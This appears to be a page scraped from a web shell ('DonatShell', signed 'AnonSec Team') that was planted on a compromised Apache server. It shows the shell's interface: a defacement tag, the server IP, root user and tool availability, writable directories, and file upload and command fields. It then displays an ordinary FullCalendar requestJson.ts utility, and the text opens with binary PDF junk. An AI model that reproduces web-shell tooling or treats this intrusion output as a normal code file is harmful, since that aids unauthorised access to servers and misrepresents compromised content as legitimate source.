%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/util/requestJson.ts
export default function requestJson(method: string, url: string, params: object, successCallback, failureCallback) {
  method = method.toUpperCase()

  let body = null

  if (method === 'GET') {
    url = injectQueryStringParams(url, params)
  } else {
    body = encodeParams(params)
  }

  let xhr = new XMLHttpRequest()
  xhr.open(method, url, true)

  if (method !== 'GET') {
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
  }

  xhr.onload = function() {
    if (xhr.status >= 200 && xhr.status < 400) {
      try {
        let res = JSON.parse(xhr.responseText)
        successCallback(res, xhr)
      } catch (err) {
        failureCallback('Failure parsing JSON', xhr)
      }
    } else {
      failureCallback('Request failed', xhr)
    }
  }

  xhr.onerror = function() {
    failureCallback('Request failed', xhr)
  }

  xhr.send(body)
}

function injectQueryStringParams(url: string, params) {
  return url +
    (url.indexOf('?') === -1 ? '?' : '&') +
    encodeParams(params)
}

function encodeParams(params) {
  let parts = []

  for (let key in params) {
    parts.push(encodeURIComponent(key) + '=' + encodeURIComponent(params[key]))
  }

  return parts.join('&')
}

Anon7 - 2022
AnonSec Team